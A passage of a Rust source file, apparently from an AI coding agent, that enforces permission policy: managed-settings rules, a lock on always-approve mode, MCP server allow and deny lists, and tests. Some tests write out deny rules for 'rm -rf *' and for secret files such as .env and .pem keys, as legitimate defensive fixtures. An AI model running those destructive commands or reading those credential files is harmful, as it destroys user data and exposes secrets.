||
}
|
||
entries
|
||
}
|
||
|
||
fn parse_managed_settings_permissions(
|
||
json: &serde_json::Value,
|
||
path: &Path,
|
||
) -> Vec<Sourced<PermissionRule>> {
|
||
let Some(perms_value) = json.get("permissions") else {
|
||
return Vec::new();
|
||
};
|
||
let permissions: ParsedPermissions = match serde_json::from_value(perms_value.clone()) {
|
||
Ok(p) => p,
|
||
Err(_) => return Vec::new(),
|
||
};
|
||
let (config, warnings) = permissions.into_permission_config();
|
||
for w in &warnings {
|
||
warn!(path = %path.display(), "{}", w);
|
||
}
|
||
if !config.rules.is_empty() {
|
||
info!(
|
||
path = %path.display(),
|
||
count = config.rules.len(),
|
||
"Loaded permission rules from managed-settings.json"
|
||
);
|
||
}
|
||
let source = RequirementSource::ManagedSettings {
|
||
path: path.to_path_buf(),
|
||
};
|
||
config
|
||
.rules
|
||
.into_iter()
|
||
.map(|rule| Sourced {
|
||
value: rule,
|
||
source: source.clone(),
|
||
})
|
||
.collect()
|
||
}
|
||
|
||
fn read_managed_settings_json(path: &Path) -> Option<serde_json::Value> {
|
||
let content = match std::fs::read_to_string(path) {
|
||
Ok(c) => c,
|
||
Err(e) => {
|
||
warn!(path = %path.display(), error = %e, "Failed to read managed-settings.json");
|
||
return None;
|
||
}
|
||
};
|
||
match serde_json::from_str(&content) {
|
||
Ok(v) => Some(v),
|
||
Err(e) => {
|
||
warn!(path = %path.display(), error = %e, "Failed to parse managed-settings.json");
|
||
None
|
||
}
|
||
}
|
||
}
|
||
|
||
#[derive(Debug, Default)]
|
||
pub struct ManagedSettingsFeatures {
|
||
pub disable_telemetry: Option<bool>,
|
||
pub disable_feedback: Option<bool>,
|
||
pub disable_yolo: Option<bool>,
|
||
pub source_path: Option<std::path::PathBuf>,
|
||
}
|
||
|
||
pub fn json_env_flag(env: Option<&serde_json::Value>, key: &str) -> Option<bool> {
|
||
let val = env?.get(key)?;
|
||
match val {
|
||
serde_json::Value::Number(n) => Some(n.as_i64().unwrap_or(0) != 0),
|
||
serde_json::Value::Bool(b) => Some(*b),
|
||
serde_json::Value::String(s) => match s.as_str() {
|
||
"0" | "" | "false" => Some(false),
|
||
_ => Some(true),
|
||
},
|
||
_ => None,
|
||
}
|
||
}
|
||
|
||
fn parse_disable_bypass_permissions(json: &serde_json::Value) -> Option<bool> {
|
||
let val = json
|
||
.get("permissions")?
|
||
.get("disableBypassPermissionsMode")?;
|
||
Some(val.as_str() == Some("disable"))
|
||
}
|
||
|
||
/// Shared pin-reason literals ([`yolo_disabled_by_policy`]); the named source
|
||
/// tells an admin which file activated the lock.
|
||
pub const YOLO_PIN_REASON_REQUIREMENTS: &str = "always-approve disabled by managed policy ([ui] disable_bypass_permissions_mode = true in requirements.toml)";
|
||
/// Back-compat: the legacy `[ui] yolo = false` requirements key still locks.
|
||
pub const YOLO_PIN_REASON_LEGACY_YOLO: &str =
|
||
"always-approve disabled by managed policy ([ui] yolo = false in requirements.toml)";
|
||
|
||
/// Hard-lock predicate (client gates, permission manager, vendor bypass gate):
|
||
/// `Some(reason)` iff a requirements layer sets `[ui]
|
||
/// disable_bypass_permissions_mode = true` (or legacy `[ui] yolo = false`).
|
||
/// Vendor `managed-settings.json` `disableBypassPermissionsMode` is deliberately
|
||
/// not consulted: kigi must not inherit a host-wide always-approve lockdown from
|
||
/// that file. kigi still honors that file's permission rules / MCP / marketplace
|
||
/// allowlists, and the user's own `--yolo` / `[ui] permission_mode` / runtime
|
||
/// toggle drive always-approve; to disable it in kigi use a root-owned
|
||
/// `requirements.toml`. Fails open on user-writable layers.
|
||
pub fn yolo_disabled_by_policy() -> Option<&'static str> {
|
||
let layers = kigi_config::requirements_layers();
|
||
// The source label only names the layer in the non-bool warning; materialize
|
||
// it as a PathBuf so the borrowed iterator below outlives the temporaries.
|
||
let labeled: Vec<(PathBuf, &toml::Value)> = layers
|
||
.iter()
|
||
.map(|l| (PathBuf::from(l.source.label().as_ref()), &l.value))
|
||
.collect();
|
||
resolve_yolo_policy_block(labeled.iter().map(|(p, v)| (p.as_path(), *v)))
|
||
}
|
||
|
||
/// Read `[ui] <key>` as a bool; a non-bool value warns (naming key + layer)
|
||
/// rather than silently failing to lock.
|
||
fn requirements_lock_bool(ui: Option<&toml::Value>, key: &str, path: &Path) -> Option<bool> {
|
||
let value = ui?.get(key)?;
|
||
match value.as_bool() {
|
||
Some(b) => Some(b),
|
||
None => {
|
||
warn!(
|
||
path = %path.display(),
|
||
key,
|
||
"[ui] {key} must be a boolean; ignoring non-bool value \
|
||
(always-approve lock not applied from this key in this layer)"
|
||
);
|
||
None
|
||
}
|
||
}
|
||
}
|
||
|
||
/// Pure form of [`yolo_disabled_by_policy`] over pre-loaded layers (testable
|
||
/// without `~/.kigi`); `path` only names the layer in a non-bool warning.
|
||
fn resolve_yolo_policy_block<'a>(
|
||
requirement_layers: impl Iterator<Item = (&'a Path, &'a toml::Value)>,
|
||
) -> Option<&'static str> {
|
||
for (path, layer) in requirement_layers {
|
||
let ui = layer.get("ui");
|
||
// Native lock key (default false). `true` pins always-approve off.
|
||
if requirements_lock_bool(ui, "disable_bypass_permissions_mode", path) == Some(true) {
|
||
return Some(YOLO_PIN_REASON_REQUIREMENTS);
|
||
}
|
||
// Back-compat alias: `[ui] yolo = false` in requirements.toml still pins
|
||
// (pre-rename configs). A config.toml `yolo` is unaffected (not read here).
|
||
if requirements_lock_bool(ui, "yolo", path) == Some(false) {
|
||
return Some(YOLO_PIN_REASON_LEGACY_YOLO);
|
||
}
|
||
}
|
||
None
|
||
}
|
||
|
||
#[derive(Debug, Clone)]
|
||
pub enum AllowedMcpServer {
|
||
Http {
|
||
url_pattern: String,
|
||
},
|
||
Stdio {
|
||
command: String,
|
||
},
|
||
/// Match by config name (any transport); see [`mcp_name_matches`].
|
||
Name {
|
||
name: String,
|
||
},
|
||
}
|
||
|
||
/// MCP server policy from managed-settings.json: `allowedMcpServers` plus
|
||
/// `deniedMcpServers`. Deny takes precedence over allow (deny-wins semantics).
|
||
#[derive(Debug, Clone, Default)]
|
||
pub struct McpServerAllowlist {
|
||
pub entries: Vec<AllowedMcpServer>,
|
||
pub deny_entries: Vec<AllowedMcpServer>,
|
||
url_patterns: Vec<String>,
|
||
commands: Vec<String>,
|
||
names: Vec<String>,
|
||
deny_url_patterns: Vec<String>,
|
||
deny_commands: Vec<String>,
|
||
deny_names: Vec<String>,
|
||
pub source_path: Option<std::path::PathBuf>,
|
||
}
|
||
|
||
fn split_mcp_entries(entries: &[AllowedMcpServer]) -> (Vec<String>, Vec<String>, Vec<String>) {
|
||
let mut url_patterns = Vec::new();
|
||
let mut commands = Vec::new();
|
||
let mut names = Vec::new();
|
||
for entry in entries {
|
||
match entry {
|
||
AllowedMcpServer::Http { url_pattern } => url_patterns.push(url_pattern.clone()),
|
||
AllowedMcpServer::Stdio { command } => commands.push(command.clone()),
|
||
AllowedMcpServer::Name { name } => names.push(name.clone()),
|
||
}
|
||
}
|
||
(url_patterns, commands, names)
|
||
}
|
||
|
||
impl McpServerAllowlist {
|
||
/// Build a policy from raw allow/deny entries. Public so the enforcement
|
||
/// chokepoint can be exercised in tests without a managed-settings.json on
|
||
/// disk (the runtime path goes through [`parse_managed_settings_json`]).
|
||
pub fn new(
|
||
entries: Vec<AllowedMcpServer>,
|
||
deny_entries: Vec<AllowedMcpServer>,
|
||
source_path: Option<std::path::PathBuf>,
|
||
) -> Self {
|
||
let (url_patterns, commands, names) = split_mcp_entries(&entries);
|
||
let (deny_url_patterns, deny_commands, deny_names) = split_mcp_entries(&deny_entries);
|
||
Self {
|
||
entries,
|
||
deny_entries,
|
||
url_patterns,
|
||
commands,
|
||
names,
|
||
deny_url_patterns,
|
||
deny_commands,
|
||
deny_names,
|
||
source_path,
|
||
}
|
||
}
|
||
|
||
pub fn is_restricted(&self) -> bool {
|
||
!self.entries.is_empty() || !self.deny_entries.is_empty()
|
||
}
|
||
|
||
/// URL-only (no name-deny check); use `is_server_allowed` for policy. Test-only.
|
||
#[cfg(test)]
|
||
fn is_http_allowed(&self, url: &str) -> bool {
|
||
if self
|
||
.deny_url_patterns
|
||
.iter()
|
||
.any(|pat| url_deny_matches(pat, url))
|
||
{
|
||
return false;
|
||
}
|
||
if self.url_patterns.is_empty() {
|
||
return true;
|
||
}
|
||
self.url_patterns
|
||
.iter()
|
||
.any(|pat| url_glob_matches(pat, url))
|
||
}
|
||
|
||
/// Command-only (no name-deny check); use `is_server_allowed` for policy. Test-only.
|
||
#[cfg(test)]
|
||
fn is_stdio_allowed(&self, command: &str) -> bool {
|
||
if self.deny_commands.iter().any(|c| c == command) {
|
||
return false;
|
||
}
|
||
if self.commands.is_empty() {
|
||
return true;
|
||
}
|
||
self.commands.iter().any(|c| c == command)
|
||
}
|
||
|
||
/// Check whether an MCP server is allowed by this policy.
|
||
///
|
||
/// Deny beats allow. `serverName` is a transport-agnostic dimension enforced
|
||
/// here at the server level; allow is a union across dimensions (match any
|
||
/// applicable URL/command/name), and a deny-only policy allows the rest.
|
||
pub fn is_server_allowed(&self, server: &agent_client_protocol::McpServer) -> bool {
|
||
if !self.is_restricted() {
|
||
return true;
|
||
}
|
||
if self.is_server_denied(server) {
|
||
return false;
|
||
}
|
||
|
||
// `restricted` stays false for a deny-only policy, allowing the rest.
|
||
let mut restricted = false;
|
||
let mut matched = false;
|
||
|
||
// Name and URL/command allows are a union — a serverName allow grants any
|
||
// URL (more permissive than a strict URL-precedence scheme).
|
||
if !self.names.is_empty() {
|
||
restricted = true;
|
||
matched |= self
|
||
.names
|
||
.iter()
|
||
.any(|pat| mcp_name_matches(pat, mcp_server_name(server)));
|
||
}
|
||
|
||
match server {
|
||
agent_client_protocol::McpServer::Http(agent_client_protocol::McpServerHttp {
|
||
url,
|
||
..
|
||
})
|
||
| agent_client_protocol::McpServer::Sse(agent_client_protocol::McpServerSse {
|
||
url,
|
||
..
|
||
}) => {
|
||
if !self.url_patterns.is_empty() {
|
||
restricted = true;
|
||
matched |= self
|
||
.url_patterns
|
||
.iter()
|
||
.any(|pat| url_glob_matches(pat, url));
|
||
}
|
||
}
|
||
agent_client_protocol::McpServer::Stdio(agent_client_protocol::McpServerStdio {
|
||
command,
|
||
..
|
||
}) if !self.commands.is_empty() => {
|
||
restricted = true;
|
||
let command = command.to_string_lossy();
|
||
matched |= self.commands.iter().any(|c| *c == command);
|
||
}
|
||
// TODO(acp-0.10): `McpServer` is #[non_exhaustive].
|
||
_ => {}
|
||
}
|
||
|
||
!restricted || matched
|
||
}
|
||
|
||
/// True when the server matches a `deniedMcpServers` entry (vs merely
|
||
/// missing from the allowlist) — lets callers report the right reason.
|
||
/// Includes a transport-agnostic `serverName` deny match.
|
||
pub fn is_server_denied(&self, server: &agent_client_protocol::McpServer) -> bool {
|
||
if self
|
||
.deny_names
|
||
.iter()
|
||
.any(|pat| mcp_name_matches(pat, mcp_server_name(server)))
|
||
{
|
||
return true;
|
||
}
|
||
match server {
|
||
agent_client_protocol::McpServer::Http(agent_client_protocol::McpServerHttp {
|
||
url,
|
||
..
|
||
})
|
||
| agent_client_protocol::McpServer::Sse(agent_client_protocol::McpServerSse {
|
||
url,
|
||
..
|
||
}) => self
|
||
.deny_url_patterns
|
||
.iter()
|
||
.any(|pat| url_deny_matches(pat, url)),
|
||
agent_client_protocol::McpServer::Stdio(agent_client_protocol::McpServerStdio {
|
||
command,
|
||
..
|
||
}) => {
|
||
let command = command.to_string_lossy();
|
||
self.deny_commands.iter().any(|c| *c == command)
|
||
}
|
||
// TODO(acp-0.10): `McpServer` is #[non_exhaustive].
|
||
_ => false,
|
||
}
|
||
}
|
||
}
|
||
|
||
/// Namespace prefix for managed (kimi.com-injected) MCP server names. Defined
|
||
/// here (shell depends on workspace) and re-exported by shell's `to_managed_name`
|
||
/// so the prefix and policy matching never drift.
|
||
pub const MANAGED_MCP_PREFIX: &str = "kigi_com_";
|
||
|
||
/// Max `char` length of a managed runtime name (`kigi_com_` + normalized display
|
||
/// name), sized to the 64-char tool-name budget. Shared by `to_managed_name` and
|
||
/// `mcp_name_matches` so a long policy `serverName` still matches its truncated
|
||
/// runtime name.
|
||
pub const MANAGED_MCP_NAME_MAX_CHARS: usize = 39;
|
||
|
||
/// Normalize a bare MCP display name to its runtime spelling (lowercase, spaces
|
||
/// → `_`). Shared by `to_managed_name` and `mcp_name_matches` so the policy and
|
||
/// runtime sides never drift.
|
||
pub fn normalize_managed_name(bare: &str) -> String {
|
||
bare.to_lowercase().replace(' ', "_")
|
||
}
|
||
|
||
/// The transport-agnostic config name of an MCP server.
|
||
fn mcp_server_name(server: &agent_client_protocol::McpServer) -> &str {
|
||
match server {
|
||
agent_client_protocol::McpServer::Http(http) => &http.name,
|
||
agent_client_protocol::McpServer::Sse(sse) => &sse.name,
|
||
agent_client_protocol::McpServer::Stdio(stdio) => &stdio.name,
|
||
// TODO(acp-0.10): `McpServer` is #[non_exhaustive]; an unknown
|
||
// transport has no name to match, so it never matches a policy entry.
|
||
_ => "",
|
||
}
|
||
}
|
||
|
||
/// Match a policy `serverName` against a runtime server name.
|
||
///
|
||
/// Both sides reduce to one key (strip `kigi_com_`, [`normalize_managed_name`],
|
||
/// truncate to the cap) compared by exact equality — never substring, so deny
|
||
/// `foo` can't leak onto `foobar`; an empty key never matches.
|
||
fn mcp_name_matches(pattern: &str, name: &str) -> bool {
|
||
fn key(s: &str) -> String {
|
||
let bare = s.strip_prefix(MANAGED_MCP_PREFIX).unwrap_or(s);
|
||
let normalized = normalize_managed_name(bare);
|
||
// Mirror to_managed_name's prefix-inclusive truncation on the bare part.
|
||
let max_bare = MANAGED_MCP_NAME_MAX_CHARS - MANAGED_MCP_PREFIX.len();
|
||
match normalized.char_indices().nth(max_bare) {
|
||
Some((i, _)) => normalized[..i].to_string(),
|
||
None => normalized,
|
||
}
|
||
}
|
||
let pattern_key = key(pattern);
|
||
!pattern_key.is_empty() && pattern_key == key(name)
|
||
}
|
||
|
||
/// Glob-match an ALLOW pattern against a URL. Query string and fragment are
|
||
/// stripped before matching to prevent embedded-URL bypass attacks.
|
||
/// Matching is literal over scheme/port/path: `https://*.x.com/*` won't match
|
||
/// `:8080`. This is safe for the allowlist because an imprecise allow merely
|
||
/// over-blocks (fail-closed). Deny matching must NOT reuse this — see
|
||
/// [`url_deny_matches`].
|
||
fn url_glob_matches(pattern: &str, url: &str) -> bool {
|
||
let cleaned = strip_url_query(url);
|
||
let opts = glob::MatchOptions {
|
||
case_sensitive: false,
|
||
require_literal_separator: false,
|
||
require_literal_leading_dot: false,
|
||
};
|
||
glob::Pattern::new(pattern)
|
||
.map(|p| p.matches_with(&cleaned, opts))
|
||
.unwrap_or(false)
|
||
}
|
||
|
||
/// Host-normalized, scheme/port-agnostic match of a DENY pattern against a URL.
|
||
///
|
||
/// Deny matching is deliberately *asymmetric* with allow matching
|
||
/// ([`url_glob_matches`]): an `allowedMcpServers` entry may stay literal because
|
||
/// an imprecise allow merely over-blocks, which is fail-closed and therefore
|
||
/// safe. A `deniedMcpServers` entry is a security control that must never fail
|
||
/// *open*, so we ignore scheme and port and compare the parsed host
|
||
/// independently (lowercased, trailing dot stripped), then apply only the
|
||
/// pattern's path portion as a glob. A deny pattern of `host` or
|
||
/// `scheme://host/*` blocks that host on ANY scheme, port, and path.
|
||
fn url_deny_matches(pattern: &str, url: &str) -> bool {
|
||
let (Some(pat_host), pat_path) = split_host_path(pattern) else {
|
||
return false;
|
||
};
|
||
let (Some(url_host), url_path) = split_host_path(&strip_url_query(url)) else {
|
||
return false;
|
||
};
|
||
let opts = glob::MatchOptions {
|
||
case_sensitive: false,
|
||
require_literal_separator: false,
|
||
require_literal_leading_dot: false,
|
||
};
|
||
let glob_match = |pat: &str, s: &str| {
|
||
glob::Pattern::new(pat)
|
||
.map(|p| p.matches_with(s, opts))
|
||
.unwrap_or(false)
|
||
};
|
||
if !glob_match(&pat_host, &url_host) {
|
||
return false;
|
||
}
|
||
// A host-only pattern (no path) blocks every path on that host. Otherwise
|
||
// apply the pattern's path as a glob, normalizing an empty URL path to "/"
|
||
// so a `/*` pattern still matches a path-less URL (e.g. `https://host`).
|
||
if pat_path.is_empty() {
|
||
return true;
|
||
}
|
||
let url_path = if url_path.is_empty() {
|
||
"/"
|
||
} else {
|
||
url_path.as_str()
|
||
};
|
||
glob_match(&pat_path, url_path)
|
||
}
|
||
|
||
/// Split a URL or URL pattern into `(host, path)`, dropping scheme, userinfo,
|
||
/// port, query, and fragment. The host is lowercased with a trailing dot
|
||
/// stripped; the path keeps its original case and any glob metacharacters.
|
||
fn split_host_path(s: &str) -> (Option<String>, String) {
|
||
let after_scheme = match s.find("://") {
|
||
Some(i) => &s[i + 3..],
|
||
None => s,
|
||
};
|
||
let (authority, path) = match after_scheme.find('/') {
|
||
Some(i) => (&after_scheme[..i], &after_scheme[i..]),
|
||
None => (after_scheme, ""),
|
||
};
|
||
// Drop userinfo (`user:pass@host`) then the port (`host:443`).
|
||
let authority = authority.rsplit('@').next().unwrap_or(authority);
|
||
let host = authority.split(':').next().unwrap_or(authority);
|
||
let host = host.trim_end_matches('.').to_ascii_lowercase();
|
||
if host.is_empty() {
|
||
(None, path.to_string())
|
||
} else {
|
||
(Some(host), path.to_string())
|
||
}
|
||
}
|
||
|
||
fn strip_url_query(url: &str) -> String {
|
||
// Strip query string and fragment: "https://x.com/path?q=1#f" -> "https://x.com/path"
|
||
let without_fragment = url.split('#').next().unwrap_or(url);
|
||
without_fragment
|
||
.split('?')
|
||
.next()
|
||
.unwrap_or(without_fragment)
|
||
.to_string()
|
||
}
|
||
|
||
/// When non-empty, only git marketplace sources matching an allowed URL are
|
||
/// permitted.
|
||
#[derive(Debug, Clone, Default)]
|
||
pub struct MarketplaceAllowlist {
|
||
pub allowed_urls: Vec<String>,
|
||
pub source_path: Option<std::path::PathBuf>,
|
||
}
|
||
|
||
impl MarketplaceAllowlist {
|
||
pub fn is_restricted(&self) -> bool {
|
||
!self.allowed_urls.is_empty()
|
||
}
|
||
|
||
pub fn is_url_allowed(&self, url: &str) -> bool {
|
||
if self.allowed_urls.is_empty() {
|
||
return true;
|
||
}
|
||
let normalized = normalize_git_url(url);
|
||
self.allowed_urls
|
||
.iter()
|
||
.any(|allowed| normalize_git_url(allowed) == normalized)
|
||
}
|
||
|
||
pub fn block_reason(&self) -> String {
|
||
match &self.source_path {
|
||
Some(p) => format!("source not in strictKnownMarketplaces ({})", p.display()),
|
||
None => "source not in strictKnownMarketplaces".to_string(),
|
||
}
|
||
}
|
||
}
|
||
|
||
fn normalize_git_url(url: &str) -> String {
|
||
url.to_lowercase().trim_end_matches(".git").to_string()
|
||
}
|
||
|
||
// ═════════════════════════════════════════════════════════════════════════════
|
||
// Tests
|
||
// ═════════════════════════════════════════════════════════════════════════════
|
||
|
||
#[cfg(test)]
|
||
mod tests {
|
||
use super::*;
|
||
|
||
// Crate-shared lock serializing tests that mutate the global process
|
||
// environment so concurrent test threads can't race on shared env state.
|
||
// Shared so `KIGI_SHARE_DIR`/`HOME` mutations here also serialize against the
|
||
// other env-mutating test modules under single-process `cargo test --lib`.
|
||
use crate::ENV_TEST_LOCK as ENV_LOCK;
|
||
|
||
// The crate-shared generic env-var guard (one definition in `lib.rs`),
|
||
// aliased here so the existing `EnvVarGuard::set/unset` call sites are unchanged.
|
||
use crate::TestEnvGuard as EnvVarGuard;
|
||
|
||
/// Only `Deny` rules on read-capable tools (Read/Grep/Any) become grep
|
||
/// excludes — write-only denies and non-deny actions are left out.
|
||
#[test]
|
||
fn deny_read_globs_selects_read_capable_denies_only() {
|
||
let rule = |action, tool, pat: &str| PermissionRule {
|
||
action,
|
||
tool,
|
||
pattern: Some(pat.to_string()),
|
||
pattern_mode: PatternMode::Glob,
|
||
};
|
||
let config = PermissionConfig::new(vec![
|
||
rule(RuleAction::Deny, ToolFilter::Read, "**/.env"),
|
||
rule(RuleAction::Deny, ToolFilter::Any, "**/*.pem"),
|
||
rule(RuleAction::Deny, ToolFilter::Grep, "**/secret.txt"),
|
||
rule(RuleAction::Deny, ToolFilter::Edit, "**/.env"), // write-only: excluded
|
||
rule(RuleAction::Allow, ToolFilter::Read, "src/**"), // allow: excluded
|
||
rule(RuleAction::Ask, ToolFilter::Read, "**/secrets/**"), // ask: excluded
|
||
]);
|
||
assert_eq!(
|
||
deny_read_globs_from_config(&config),
|
||
vec!["**/.env", "**/*.pem", "**/secret.txt"]
|
||
);
|
||
}
|
||
|
||
#[test]
|
||
fn parse_bash_rule() {
|
||
let rule = parse_permission_rule("Bash(npm run build)", RuleAction::Allow).unwrap();
|
||
assert_eq!(rule.action, RuleAction::Allow);
|
||
assert_eq!(rule.tool, ToolFilter::Bash);
|
||
assert_eq!(rule.pattern, Some("npm run build".to_string()));
|
||
}
|
||
|
||
#[test]
|
||
fn parse_bash_colon_wildcard_rule() {
|
||
let rule = parse_permission_rule("Bash(sed:*)", RuleAction::Deny).unwrap();
|
||
assert_eq!(rule.tool, ToolFilter::Bash);
|
||
assert_eq!(rule.pattern, Some("sed".to_string()));
|
||
|
||
let rule = parse_permission_rule("Bash(git commit:*)", RuleAction::Allow).unwrap();
|
||
assert_eq!(rule.pattern, Some("git commit".to_string()));
|
||
|
||
// Only the trailing `:*` is the idiom; earlier colons stay literal.
|
||
let rule = parse_permission_rule("Bash(npm run test:*)", RuleAction::Allow).unwrap();
|
||
assert_eq!(rule.pattern, Some("npm run test".to_string()));
|
||
|
||
// An empty prefix is a tool-wide rule, same as `Bash(*)`.
|
||
let rule = parse_permission_rule("Bash(:*)", RuleAction::Allow).unwrap();
|
||
assert_eq!(rule.tool, ToolFilter::Bash);
|
||
assert_eq!(rule.pattern, None);
|
||
|
||
// Colon-strip precedes domain-strip: `Bash(domain:*)` is a prefix, not a catch-all.
|
||
let rule = parse_permission_rule("Bash(domain:*)", RuleAction::Deny).unwrap();
|
||
assert_eq!(rule.pattern, Some("domain".to_string()));
|
||
assert_eq!(rule.pattern_mode, PatternMode::Glob);
|
||
}
|
||
|
||
#[test]
|
||
fn parse_colon_wildcard_is_bash_only() {
|
||
let rule = parse_permission_rule("Read(a:*)", RuleAction::Deny).unwrap();
|
||
assert_eq!(rule.tool, ToolFilter::Read);
|
||
assert_eq!(rule.pattern, Some("a:*".to_string()));
|
||
|
||
let rule = parse_permission_rule("WebFetch(domain:*)", RuleAction::Allow).unwrap();
|
||
assert_eq!(rule.tool, ToolFilter::WebFetch);
|
||
assert_eq!(rule.pattern, Some("*".to_string()));
|
||
assert_eq!(rule.pattern_mode, PatternMode::Domain);
|
||
}
|
||
|
||
#[test]
|
||
fn parse_read_rule() {
|
||
let rule = parse_permission_rule("Read(*.rs)", RuleAction::Allow).unwrap();
|
||
assert_eq!(rule.tool, ToolFilter::Read);
|
||
assert_eq!(rule.pattern, Some("*.rs".to_string()));
|
||
}
|
||
|
||
#[test]
|
||
fn parse_tool_prefixes() {
|
||
let write = parse_permission_rule("Write(lib.rs)", RuleAction::Allow).unwrap();
|
||
assert_eq!(write.tool, ToolFilter::Edit);
|
||
|
||
let mcp = parse_permission_rule("MCPTool(memory)", RuleAction::Allow).unwrap();
|
||
assert_eq!(mcp.tool, ToolFilter::Mcp);
|
||
}
|
||
|
||
#[test]
|
||
fn parse_edit_rule_double_star_accepted() {
|
||
let rule = parse_permission_rule("Edit(src/**/*.rs)", RuleAction::Allow).unwrap();
|
||
assert_eq!(rule.tool, ToolFilter::Edit);
|
||
assert_eq!(rule.pattern, Some("src/**/*.rs".to_string()));
|
||
}
|
||
|
||
#[test]
|
||
fn parse_double_star_patterns() {
|
||
let edit = parse_permission_rule("Edit(src/**/*.rs)", RuleAction::Deny).unwrap();
|
||
assert_eq!(edit.pattern, Some("src/**/*.rs".to_string()));
|
||
|
||
let read = parse_permission_rule("Read(**/src/**)", RuleAction::Allow).unwrap();
|
||
assert_eq!(read.pattern, Some("**/src/**".to_string()));
|
||
}
|
||
|
||
#[test]
|
||
fn parse_web_fetch_domain_vs_url() {
|
||
// domain: prefix -> PatternMode::Domain, prefix stripped
|
||
let domain =
|
||
parse_permission_rule("WebFetch(domain:example.com)", RuleAction::Allow).unwrap();
|
||
assert_eq!(domain.pattern, Some("example.com".to_string()));
|
||
assert_eq!(domain.pattern_mode, PatternMode::Domain);
|
||
|
||
// URL pattern -> PatternMode::Glob, pattern kept as-is
|
||
let url =
|
||
parse_permission_rule("WebFetch(https://example.com/*)", RuleAction::Deny).unwrap();
|
||
assert_eq!(url.pattern, Some("https://example.com/*".to_string()));
|
||
assert_eq!(url.pattern_mode, PatternMode::Glob);
|
||
}
|
||
|
||
#[test]
|
||
fn parse_bare_pattern() {
|
||
let rule = parse_permission_rule("git *", RuleAction::Allow).unwrap();
|
||
assert_eq!(rule.tool, ToolFilter::Any);
|
||
}
|
||
|
||
#[test]
|
||
fn parse_errors() {
|
||
// Unsupported tool prefix
|
||
let err = parse_permission_rule("EnterWorktree(*)", RuleAction::Allow).unwrap_err();
|
||
assert!(matches!(err, RuleParseError::UnsupportedToolPrefix { .. }));
|
||
|
||
let err = parse_permission_rule("Bash(npm run build", RuleAction::Allow).unwrap_err();
|
||
assert!(matches!(err, RuleParseError::MalformedRule { .. }));
|
||
}
|
||
|
||
#[test]
|
||
fn parse_double_star_accepted() {
|
||
let rule = parse_permission_rule("Read(**/src/**)", RuleAction::Allow).unwrap();
|
||
assert_eq!(rule.tool, ToolFilter::Read);
|
||
assert_eq!(rule.pattern, Some("**/src/**".to_string()));
|
||
}
|
||
|
||
#[test]
|
||
fn parse_read_path_accepted() {
|
||
let rule = parse_permission_rule("Read(src/lib.rs)", RuleAction::Allow).unwrap();
|
||
assert_eq!(rule.tool, ToolFilter::Read);
|
||
assert_eq!(rule.pattern, Some("src/lib.rs".to_string()));
|
||
}
|
||
|
||
#[test]
|
||
fn parse_bare_double_star_accepted() {
|
||
let rule = parse_permission_rule("**/tests/**", RuleAction::Deny).unwrap();
|
||
assert_eq!(rule.tool, ToolFilter::Any);
|
||
assert_eq!(rule.pattern, Some("**/tests/**".to_string()));
|
||
}
|
||
|
||
#[test]
|
||
fn parsed_permissions_into_config() {
|
||
let perms = ParsedPermissions {
|
||
allow: vec!["Bash(npm test)".to_string(), "Read(*.rs)".to_string()],
|
||
deny: vec!["Bash(rm -rf *)".to_string()],
|
||
..Default::default()
|
||
};
|
||
let (cfg, warnings) = perms.into_permission_config();
|
||
assert_eq!(cfg.rules.len(), 3);
|
||
assert!(warnings.is_empty());
|
||
}
|
||
|
||
#[test]
|
||
fn parsed_permissions_with_bad_entry() {
|
||
let perms = ParsedPermissions {
|
||
allow: vec!["Bash(good)".to_string(), "EnterWorktree(*)".to_string()],
|
||
..Default::default()
|
||
};
|
||
let (cfg, warnings) = perms.into_permission_config();
|
||
assert_eq!(cfg.rules.len(), 1);
|
||
assert_eq!(warnings.len(), 1);
|
||
assert!(warnings[0].contains("EnterWorktree"));
|
||
}
|
||
|
||
#[test]
|
||
fn parsed_permissions_with_ask_rules() {
|
||
let perms = ParsedPermissions {
|
||
allow: vec!["Bash(npm test)".to_string()],
|
||
deny: vec!["Bash(rm*)".to_string()],
|
||
ask: vec!["Bash(git push*)".to_string()],
|
||
};
|
||
let (cfg, warnings) = perms.into_permission_config();
|
||
assert_eq!(cfg.rules.len(), 3);
|
||
assert!(warnings.is_empty());
|
||
assert!(cfg.rules.iter().any(|r| r.action == RuleAction::Ask));
|
||
}
|
||
|
||
#[test]
|
||
fn load_missing_file() {
|
||
let result = load_claude_settings(Path::new("/nonexistent/settings.json"));
|
||
assert!(result.is_none());
|
||
}
|
||
|
||
#[test]
|
||
fn load_valid_settings() {
|
||
let tmp = tempfile::tempdir().unwrap();
|
||
let path = tmp.path().join("settings.json");
|
||
std::fs::write(
|
||
&path,
|
||
r#"{"permissions": {"allow": ["Bash(npm test)"], "deny": ["Bash(rm -rf *)"]}}"#,
|
||
)
|
||
.unwrap();
|
||
|
||
let settings = load_claude_settings(&path).unwrap();
|
||
assert!(settings.permissions.is_some());
|
||
let perms = settings.permissions.unwrap();
|
||
assert_eq!(perms.allow.len(), 1);
|
||
assert_eq!(perms.deny.len(), 1);
|
||
}
|
||
|
||
#[test]
|
||
fn load_settings_with_default_mode() {
|
||
let tmp = tempfile::tempdir().unwrap();
|
||
let path = tmp.path().join("settings.json");
|
||
std::fs::write(
|
||
&path,
|
||
r#"{"defaultMode": "acceptEdits", "permissions": {"allow": []}}"#,
|
||
)
|
||
.unwrap();
|
||
|
||
let settings = load_claude_settings(&path).unwrap();
|
||
assert_eq!(settings.default_mode, Some("acceptEdits".to_string()));
|
||
}
|
||
|
||
// ═══════════════════════════════════════════════════════════════════════
|
||
// Phase 4: Integration / Precedence Tests
|
||
// ═══════════════════════════════════════════════════════════════════════
|
||
|
||
/// Integration test: end-to-end flow from .claude/settings.json file
|
||
/// through load -> into_config -> verify rules are produced.
|
||
#[test]
|
||
fn integration_claude_settings_file_to_permission_config() {
|
||
let tmp = tempfile::tempdir().unwrap();
|
||
let claude_dir = tmp.path().join(".claude");
|
||
std::fs::create_dir_all(&claude_dir).unwrap();
|
||
let path = claude_dir.join("settings.json");
|
||
std::fs::write(
|
||
&path,
|
||
r#"{
|
||
"permissions": {
|
||
"allow": ["Bash(npm test)", "Read(*.rs)"],
|
||
"deny": ["Bash(rm -rf *)"]
|
||
},
|
||
"defaultMode": "acceptEdits"
|
||
}"#,
|
||
)
|
||
.unwrap();
|
||
|
||
// Load
|
||
let settings = load_claude_settings(&path).expect("should load");
|
||
assert!(settings.permissions.is_some());
|
||
assert_eq!(settings.default_mode, Some("acceptEdits".to_string()));
|
||
|
||
// Translate
|
||
let perms = settings.permissions.unwrap();
|
||
